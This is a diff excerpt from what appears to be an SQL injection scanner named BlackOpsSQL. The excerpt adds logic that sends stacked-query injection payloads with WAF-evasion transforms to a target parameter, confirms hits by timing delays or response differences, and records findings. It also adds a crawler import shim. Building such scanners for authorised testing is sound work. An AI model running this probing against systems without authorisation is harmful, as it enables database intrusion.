|
+
|
|
57
|
+
payloads = get_stacked_payloads(dbms, opts.risk)
|
|
58
|
+
if not payloads:
|
|
59
|
+
# Oracle (and unknown DBMS with no payloads) — skip
|
|
60
|
+
return
|
|
61
|
+
|
|
62
|
+
# Baseline (used for content-diff payloads)
|
|
63
|
+
baseline = _fetch(injector, url, method, params, param, None,
|
|
64
|
+
second_url=second_url, json_body=json_body,
|
|
65
|
+
path_index=path_index)
|
|
66
|
+
if baseline is None:
|
|
67
|
+
return
|
|
68
|
+
|
|
69
|
+
_prev_count = len(result.stacked)
|
|
70
|
+
|
|
71
|
+
for evasion in (evasions if evasions else [EVASION_NONE]):
|
|
72
|
+
for raw_payload in payloads:
|
|
73
|
+
payload = apply_evasion(raw_payload, evasion)
|
|
74
|
+
|
|
75
|
+
# Determine whether this payload relies on timing (SLEEP/WAITFOR)
|
|
76
|
+
# or content diff (data-returning stacked SELECT).
|
|
77
|
+
_is_timing = any(kw in raw_payload.lower() for kw in ("sleep(", "waitfor delay"))
|
|
78
|
+
|
|
79
|
+
confirmed = False
|
|
80
|
+
evidence = ""
|
|
81
|
+
|
|
82
|
+
if _is_timing:
|
|
83
|
+
# Timing-based stacked detection: measure elapsed time
|
|
84
|
+
elapsed = _timed_fetch(
|
|
85
|
+
injector, url, method, params, param, payload,
|
|
86
|
+
second_url=second_url, json_body=json_body, path_index=path_index,
|
|
87
|
+
)
|
|
88
|
+
if elapsed is None or elapsed < opts.time_threshold:
|
|
89
|
+
continue
|
|
90
|
+
# Confirm with a second request
|
|
91
|
+
elapsed2 = _timed_fetch(
|
|
92
|
+
injector, url, method, params, param, payload,
|
|
93
|
+
second_url=second_url, json_body=json_body, path_index=path_index,
|
|
94
|
+
)
|
|
95
|
+
if elapsed2 is None or elapsed2 < opts.time_threshold:
|
|
96
|
+
continue
|
|
97
|
+
confirmed = True
|
|
98
|
+
else:
|
|
99
|
+
resp = _fetch(injector, url, method, params, param, payload,
|
|
100
|
+
second_url=second_url, json_body=json_body,
|
|
101
|
+
path_index=path_index)
|
|
102
|
+
if resp is None:
|
|
103
|
+
continue
|
|
104
|
+
# A stacked syntax error means the DB does not support stacked queries
|
|
105
|
+
err_dbms, _ = _detect_db_error(resp)
|
|
106
|
+
if err_dbms:
|
|
107
|
+
continue
|
|
108
|
+
score = _diff_score(baseline, resp)
|
|
109
|
+
if score >= _STACKED_DIFF_THRESHOLD:
|
|
110
|
+
confirmed = True
|
|
111
|
+
evidence = resp[:200]
|
|
112
|
+
|
|
113
|
+
if confirmed:
|
|
114
|
+
logger.finding(
|
|
115
|
+
"Stacked query SQLi: %s param=%s payload=%s",
|
|
116
|
+
url, param, payload,
|
|
117
|
+
)
|
|
118
|
+
result.append_stacked(StackedFinding(
|
|
119
|
+
url=url,
|
|
120
|
+
parameter=param,
|
|
121
|
+
method=method,
|
|
122
|
+
payload=payload,
|
|
123
|
+
dbms=dbms,
|
|
124
|
+
evidence=evidence,
|
|
125
|
+
))
|
|
126
|
+
if result.dbms_detected is None and dbms not in ("auto", "unknown", ""):
|
|
127
|
+
result.dbms_detected = dbms
|
|
128
|
+
return # one finding per param
|
|
129
|
+
|
|
130
|
+
if len(result.stacked) > _prev_count:
|
|
131
|
+
break
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
2
|
+
# Copyright (c) 2026 CommonHuman-Lab
|
|
3
|
+
"""BlackOpsSQL — engine/crawler.py (delegates to blackops-core)."""
|
|
4
|
+
|
|
5
|
+
from blackops_core.crawler import CrawlResult, FormTarget, crawl
|
|
6
|
+
|
|
7
|
+
__all__ = ["CrawlResult", "FormTarget", "crawl"]
|
|
File without changes
|